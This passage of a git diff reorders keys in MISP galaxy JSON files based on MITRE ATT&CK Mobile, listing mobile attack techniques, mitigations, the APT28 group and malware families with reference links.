+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1006",
+ "https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf"
]
},
- "uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6"
+ "uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6",
+ "value": "Modify cached executable code - MOB-T1006"
},
{
"description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device as described by Kurtz (Citation: Kurtz-MaliciousiOSApps), however use of private API calls will likely prevent the application from being distributed through Apple's App Store.\n\nPlatforms: Android, iOS",
- "value": "Application Discovery - MOB-T1021",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1021",
- "https://developer.android.com/reference/android/content/pm/PackageManager.html",
- "https://andreas-kurtz.de/2014/09/malicious-ios-apps/"
- ],
"external_id": "MOB-T1021",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:defense-evasion",
@@ -1347,19 +1340,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1021",
+ "https://developer.android.com/reference/android/content/pm/PackageManager.html",
+ "https://andreas-kurtz.de/2014/09/malicious-ios-apps/"
]
},
- "uuid": "198ce408-1470-45ee-b47f-7056050d4fc2"
+ "uuid": "198ce408-1470-45ee-b47f-7056050d4fc2",
+ "value": "Application Discovery - MOB-T1021"
},
{
"description": "Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lock screen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.\n\nPlatforms: Android, iOS",
- "value": "Lockscreen Bypass - MOB-T1064",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1064",
- "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/",
- "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/"
- ],
"external_id": "MOB-T1064",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:exploit-via-physical-access"
@@ -1367,21 +1360,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1064",
+ "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/",
+ "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/"
]
},
- "uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd"
+ "uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd",
+ "value": "Lockscreen Bypass - MOB-T1064"
},
{
"description": "An adversary could convince the mobile network operator (e.g. through social networking or forged identification) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts (Citation: Guardian-Simswap).\n\nPlatforms: Android, iOS",
- "value": "SIM Card Swap - MOB-T1054",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1054",
- "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html",
- "http://www.dos.ny.gov/consumerprotection/scams/att-sim.html",
- "http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/",
- "https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters"
- ],
"external_id": "STA-22",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cellular-network-based"
@@ -1389,18 +1380,21 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1054",
+ "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html",
+ "http://www.dos.ny.gov/consumerprotection/scams/att-sim.html",
+ "http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/",
+ "https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters"
]
},
- "uuid": "a64a820a-cb21-471f-920c-506a2ff04fa5"
+ "uuid": "a64a820a-cb21-471f-920c-506a2ff04fa5",
+ "value": "SIM Card Swap - MOB-T1054"
},
{
"description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
- "value": "Location Tracking - MOB-T1033",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1033",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html"
- ],
"external_id": "APP-24",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:collection"
@@ -1408,21 +1402,18 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1033",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html"
]
},
- "uuid": "99e6295e-741b-4857-b6e5-64989eb039b4"
+ "uuid": "99e6295e-741b-4857-b6e5-64989eb039b4",
+ "value": "Location Tracking - MOB-T1033"
},
{
"description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.\n\nKrebs described this technique in (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.\n\nPlatforms: Android, iOS",
- "value": "Exploit via Charging Station or PC - MOB-T1061",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1061",
- "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html",
- "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/",
- "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf",
- "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/"
- ],
"external_id": "PHY-1",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:exploit-via-physical-access"
@@ -1430,19 +1421,21 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1061",
+ "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html",
+ "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/",
+ "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf",
+ "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/"
]
},
- "uuid": "667e5707-3843-4da8-bd34-88b922526f0d"
+ "uuid": "667e5707-3843-4da8-bd34-88b922526f0d",
+ "value": "Exploit via Charging Station or PC - MOB-T1061"
},
{
"description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).\n\nPlatforms: Android, iOS",
- "value": "Manipulate Device Communication - MOB-T1066",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1066",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html",
- "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html"
- ],
"external_id": "APP-1",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:general-network-based"
@@ -1450,19 +1443,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1066",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html",
+ "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html"
]
},
- "uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63"
+ "uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63",
+ "value": "Manipulate Device Communication - MOB-T1066"
},
{
"description": "An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).\n\nPlatforms: Android, iOS",
- "value": "Rogue Cellular Base Station - MOB-T1070",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1070",
- "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html",
- "http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html"
- ],
"external_id": "CEL-7",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:cellular-network-based"
@@ -1470,19 +1463,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1070",
+ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html",
+ "http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html"
]
},
- "uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed"
+ "uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed",
+ "value": "Rogue Cellular Base Station - MOB-T1070"
},
{
"description": "An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by (Citation: Zhou) and Jiang in (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS",
- "value": "Repackaged Application - MOB-T1047",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1047",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html",
- "http://ieeexplore.ieee.org/document/6234407"
- ],
"external_id": "APP-14",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:app-delivery-via-authorized-app-store",
@@ -1491,19 +1484,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1047",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html",
+ "http://ieeexplore.ieee.org/document/6234407"
]
},
- "uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f"
+ "uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f",
+ "value": "Repackaged Application - MOB-T1047"
},
{
"description": "An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: KeyRaider).\n\nPlatforms: Android, iOS",
- "value": "Lock User Out of Device - MOB-T1049",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1049",
- "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html",
- "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/"
- ],
"external_id": "APP-28",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:effects"
@@ -1511,18 +1504,19 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1049",
+ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html",
+ "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/"
]
},
- "uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1"
+ "uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1",
+ "value": "Lock User Out of Device - MOB-T1049"
},
{
"description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS",
- "value": "Malicious Software Development Tools - MOB-T1065",
"meta": {
- "refs": [
- "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1065",
- "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/"
- ],
"external_id": "MOB-T1065",
"kill_chain": [
"mitre-mobile-attack:mobile-attack:supply-chain"
@@ -1530,9 +1524,15 @@
"mitre_platforms": [
"Android",
"iOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1065",
+ "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/"
]
},
- "uuid": "b928b94a-4966-4e2a-9e61-36505b896ebc"
+ "uuid": "b928b94a-4966-4e2a-9e61-36505b896ebc",
+ "value": "Malicious Software Development Tools - MOB-T1065"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-mobile-attack-course-of-action.json b/clusters/mitre-mobile-attack-course-of-action.json
index d31f160..63b5548 100644
--- a/clusters/mitre-mobile-attack-course-of-action.json
+++ b/clusters/mitre-mobile-attack-course-of-action.json
@@ -1,125 +1,125 @@
{
- "name": "Mobile Attack - Course of Action",
- "type": "mitre-mobile-attack-course-of-action",
- "description": "ATT&CK Mitigation",
- "version": 3,
- "source": "https://github.com/mitre/cti",
- "uuid": "03956f9e-1708-11e8-8395-976b24233e15",
"authors": [
"MITRE"
],
+ "description": "ATT&CK Mitigation",
+ "name": "Mobile Attack - Course of Action",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-mobile-attack-course-of-action",
+ "uuid": "03956f9e-1708-11e8-8395-976b24233e15",
"values": [
{
"description": "A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.",
- "value": "Deploy Compromised Device Detection Method - MOB-M1010",
- "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433",
"meta": {
"external_id": "MOB-M1010"
- }
+ },
+ "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433",
+ "value": "Deploy Compromised Device Detection Method - MOB-M1010"
},
{
"description": "In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).",
- "value": "Interconnection Filtering - MOB-M1014",
- "uuid": "e829ee51-1caf-4665-ba15-7f8979634124",
"meta": {
"external_id": "MOB-M1014"
- }
+ },
+ "uuid": "e829ee51-1caf-4665-ba15-7f8979634124",
+ "value": "Interconnection Filtering - MOB-M1014"
},
{
"description": "Application developers should use device-provided credential storage mechanisms such as Android's KeyStore or iOS's KeyChain. These can prevent credentials from being exposed to an adversary.",
- "value": "Use Device-Provided Credential Storage - MOB-M1008",
- "uuid": "d2a199d2-dfea-4d0c-987d-6195ed17be9c",
"meta": {
"external_id": "MOB-M1008"
- }
+ },
+ "uuid": "d2a199d2-dfea-4d0c-987d-6195ed17be9c",
+ "value": "Use Device-Provided Credential Storage - MOB-M1008"
},
{
"description": "New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.",
- "value": "Use Recent OS Version - MOB-M1006",
- "uuid": "0beabf44-e8d8-4ae4-9122-ef56369a2564",
"meta": {
"external_id": "MOB-M1006"
- }
+ },
+ "uuid": "0beabf44-e8d8-4ae4-9122-ef56369a2564",
+ "value": "Use Recent OS Version - MOB-M1006"
},
{
"description": "Install security updates in response to discovered vulnerabilities.\n\nPurchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.\n\nDecommission devices that will no longer receive security updates.\n\nLimit or block access to enterprise resources from devices that have not installed recent security updates.\n* On Android devices, access can be controlled based on each device's security patch level.\n* On iOS devices, access can be controlled based on the iOS version.",
- "value": "Security Updates - MOB-M1001",
- "uuid": "bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
"meta": {
"external_id": "MOB-M1001"
- }
+ },
+ "uuid": "bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
+ "value": "Security Updates - MOB-M1001"
},
{
"description": "On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.",
- "value": "Lock Bootloader - MOB-M1003",
- "uuid": "8ccd428d-39da-4e8f-a55b-d48ea1d56e58",
"meta": {
"external_id": "MOB-M1003"
- }
+ },
+ "uuid": "8ccd428d-39da-4e8f-a55b-d48ea1d56e58",
+ "value": "Lock Bootloader - MOB-M1003"
},
{
"description": "Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.",
- "value": "System Partition Integrity - MOB-M1004",
- "uuid": "7b1cf46f-784b-405a-a8dd-4624c19d8321",
"meta": {
"external_id": "MOB-M1004"
- }
+ },
+ "uuid": "7b1cf46f-784b-405a-a8dd-4624c19d8321",
+ "value": "System Partition Integrity - MOB-M1004"
},
{
"description": "Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.",
- "value": "Attestation - MOB-M1002",
- "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c",
"meta": {
"external_id": "MOB-M1002"
- }
+ },
+ "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c",
+ "value": "Attestation - MOB-M1002"
},
{
"description": "Warn device users not to accept requests to grant Device Administrator access to applications without good reason.\n\nAdditionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.",
- "value": "Caution with Device Administrator Access - MOB-M1007",
- "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
"meta": {
"external_id": "MOB-M1007"
- }
+ },
+ "uuid": "e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
+ "value": "Caution with Device Administrator Access - MOB-M1007"
},
{
"description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.",
- "value": "Application Developer Guidance - MOB-M1013",
- "uuid": "25dc1ce8-eb55-4333-ae30-a7cb4f5894a1",
"meta": {
"external_id": "MOB-M1013"
- }
+ },
+ "uuid": "25dc1ce8-eb55-4333-ae30-a7cb4f5894a1",
+ "value": "Application Developer Guidance - MOB-M1013"
},
{
"description": "Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.\n\nEnterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.\n\nApplication Vetting is not a complete mitigation. Techniques such as Detect App Analysis Environment exist that can enable adversaries to bypass vetting.",
- "value": "Application Vetting - MOB-M1005",
- "uuid": "1553b156-6767-47f7-9eb4-2a692505666d",
"meta": {
"external_id": "MOB-M1005"
- }
+ },
+ "uuid": "1553b156-6767-47f7-9eb4-2a692505666d",
+ "value": "Application Vetting - MOB-M1005"
},
{
"description": "Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.",
- "value": "User Guidance - MOB-M1011",
- "uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1",
"meta": {
"external_id": "MOB-M1011"
- }
+ },
+ "uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1",
+ "value": "User Guidance - MOB-M1011"
},
{
"description": "An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.",
- "value": "Enterprise Policy - MOB-M1012",
- "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee",
"meta": {
"external_id": "MOB-M1012"
- }
+ },
+ "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee",
+ "value": "Enterprise Policy - MOB-M1012"
},
{
"description": "Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.\n\niOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.\n\nAndroid's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).\n\nUse of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.",
- "value": "Encrypt Network Traffic - MOB-M1009",
- "uuid": "8220b57e-c400-4525-bf69-f8edc6b389a8",
"meta": {
"external_id": "MOB-M1009"
- }
+ },
+ "uuid": "8220b57e-c400-4525-bf69-f8edc6b389a8",
+ "value": "Encrypt Network Traffic - MOB-M1009"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-mobile-attack-intrusion-set.json b/clusters/mitre-mobile-attack-intrusion-set.json
index f6b3659..3bb5862 100644
--- a/clusters/mitre-mobile-attack-intrusion-set.json
+++ b/clusters/mitre-mobile-attack-intrusion-set.json
@@ -1,18 +1,23 @@
{
- "name": "Mobile Attack - intrusion Set",
- "type": "mitre-mobile-attack-intrusion-set",
- "description": "Name of ATT&CK Group",
- "version": 3,
- "source": "https://github.com/mitre/cti",
- "uuid": "02ab4018-1708-11e8-8f9d-e735aabdfa53",
"authors": [
"MITRE"
],
+ "description": "Name of ATT&CK Group",
+ "name": "Mobile Attack - intrusion Set",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-mobile-attack-intrusion-set",
+ "uuid": "02ab4018-1708-11e8-8f9d-e735aabdfa53",
"values": [
{
"description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
- "value": "APT28 - G0007",
"meta": {
+ "external_id": "G0007",
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0007",
+ "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
+ "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
+ ],
"synonyms": [
"APT28",
"Sednit",
@@ -23,16 +28,11 @@
"Tsar Team",
"Threat Group-4127",
"TG-4127"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0007",
- "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
- "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"
- ],
- "external_id": "G0007"
+ ]
},
- "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c"
+ "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c",
+ "value": "APT28 - G0007"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-mobile-attack-malware.json b/clusters/mitre-mobile-attack-malware.json
index 76e1e8b..e4ae4bc 100644
--- a/clusters/mitre-mobile-attack-malware.json
+++ b/clusters/mitre-mobile-attack-malware.json
@@ -1,98 +1,96 @@
{
- "name": "Mobile Attack - Malware",
- "type": "mitre-mobile-attack-malware",
- "description": "Name of ATT&CK software",
- "version": 3,
- "source": "https://github.com/mitre/cti",
- "uuid": "04a165aa-1708-11e8-b2da-c7d7625f4a4f",
"authors": [
"MITRE"
],
+ "description": "Name of ATT&CK software",
+ "name": "Mobile Attack - Malware",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-mobile-attack-malware",
+ "uuid": "04a165aa-1708-11e8-b2da-c7d7625f4a4f",
"values": [
{
"description": "AndroRAT \"allows a third party to control the device and collect information such as contacts, call logs, text messages, device location, and audio from the microphone. It is now used maliciously by other actors.\" (Citation: Lookout-EnterpriseApps)\n\nAliases: AndroRAT",
- "value": "AndroRAT - MOB-S0008",
"meta": {
+ "external_id": "MOB-S0008",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0008",
"https://blog.lookout.com/blog/2016/05/25/spoofed-apps/"
],
- "external_id": "MOB-S0008",
"synonyms": [
"AndroRAT"
]
},
- "uuid": "a3dad2be-ce62-4440-953b-00fbce7aba93"
+ "uuid": "a3dad2be-ce62-4440-953b-00fbce7aba93",
+ "value": "AndroRAT - MOB-S0008"
},
{
"description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.Agent.ao",
- "value": "Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023",
"meta": {
+ "external_id": "MOB-S0023",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0023",
"https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
],
- "external_id": "MOB-S0023",
"synonyms": [
"Trojan-SMS.AndroidOS.Agent.ao"
]
},
- "uuid": "a1867c56-8c86-455a-96ad-b0d5f7e2bc17"
+ "uuid": "a1867c56-8c86-455a-96ad-b0d5f7e2bc17",
+ "value": "Trojan-SMS.AndroidOS.Agent.ao - MOB-S0023"
},
{
"description": "DualToy is Windows malware that installs malicious applications onto Android and iOS devices connected over USB (Citation: PaloAlto-DualToy).\n\nAliases: DualToy",
- "value": "DualToy - MOB-S0031",
"meta": {
+ "external_id": "MOB-S0031",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0031"
],
- "external_id": "MOB-S0031",
"synonyms": [
"DualToy"
]
},
- "uuid": "507fe748-5e4a-4b45-9e9f-8b1115f4e878"
+ "uuid": "507fe748-5e4a-4b45-9e9f-8b1115f4e878",
+ "value": "DualToy - MOB-S0031"
},
{
"description": "On jailbroken iOS devices, (Citation: KeyRaider) steals Apple account credentials and other data. It \"also has built-in functionality to hold iOS devices for ransom.\" (Citation: KeyRaider)\n\nAliases: (Citation: KeyRaider)",
- "value": "KeyRaider - MOB-S0004",
"meta": {
+ "external_id": "MOB-S0004",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0004",
"http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/"
],
- "external_id": "MOB-S0004",
"synonyms": [
"KeyRaider"
]
},
- "uuid": "3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50"
+ "uuid": "3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50",
+ "value": "KeyRaider - MOB-S0004"
},
{
"description": "Brain Test is a family of Android malware described by CheckPoint (Citation: CheckPoint-BrainTest) and Lookout (Citation: Lookout-BrainTest).\n\nAliases: BrainTest",
- "value": "BrainTest - MOB-S0009",
"meta": {
+ "external_id": "MOB-S0009",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0009",
"http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/",
"https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/"
],
- "external_id": "MOB-S0009",
"synonyms": [
"BrainTest"
]
},
- "uuid": "e13d084c-382f-40fd-aa9a-98d69e20301e"
+ "uuid": "e13d084c-382f-40fd-aa9a-98d69e20301e",
+ "value": "BrainTest - MOB-S0009"
},
{
"description": "Lookout states that some variants of the Shedun, Shuanet, and ShiftyBug/Kemoge Android malware families \"have 71 percent to 82 percent code similarity\" (Citation: Lookout-Adware), even though they \"don’t believe these apps were all created by the same author or group\".\n\nAliases: Shedun, Shuanet, ShiftyBug, Kemoge",
- "value": "Shedun - MOB-S0010",
"meta": {
+ "external_id": "MOB-S0010",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0010",
"https://blog.lookout.com/blog/2015/11/04/trojanized-adware/"
],
- "external_id": "MOB-S0010",
"synonyms": [
"Shedun",
"Shuanet",
@@ -100,447 +98,449 @@
"Kemoge"
]
},
- "uuid": "c80a6bef-b3ce-44d0-b113-946e93124898"
+ "uuid": "c80a6bef-b3ce-44d0-b113-946e93124898",
+ "value": "Shedun - MOB-S0010"
},
{
